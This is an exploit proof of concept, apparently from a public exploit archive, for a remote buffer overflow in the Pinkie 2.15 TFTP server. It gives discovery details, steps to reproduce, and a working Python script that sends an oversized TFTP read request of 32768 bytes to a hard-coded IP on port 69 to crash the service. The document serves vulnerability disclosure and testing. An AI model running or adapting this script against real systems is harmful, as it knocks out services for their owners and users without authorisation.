# Exploit Title: Pinkie 2.15 - TFTP Remote Buffer Overflow (PoC) # Discovered by: Yehia Elghaly # Discovered Date: 2021-11-19 # Vendor Homepage: http://www.ipuptime.net/ # Software Link : http://ipuptime.net/PinkieSetup.zip # Tested Version: 2.15 # Vulnerability Type: Buffer Overflow (DoS) Remote # Tested on OS: Windows XP SP3 - Windows 7 Professional x86 SP1 - Windows 10 x64 # Description: Pinkie 2.15 TFTP Remote Buffer Overflow # Steps to reproduce: # 1. - Download and install Pinkie 2.15 # 2. - Start TFTP Server listening on port 69 # 3. - Run the Script from remote PC/IP # 4. - Crashed #!/usr/bin/env python3 import socket sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) read = ( #Request - read b'\x00\x01' #Static - opcode + b')' * 32768 + #String - source_file (mutant, size=32768, orig val: b'File.bin') b'\x00' #Delim - delim1 b'netascii' #String - transfer_mode b'\x00' #Delim - delim2 ) sock.sendto(read, ('192.168.1.207', 69)) sock.recv(65535) sock.close()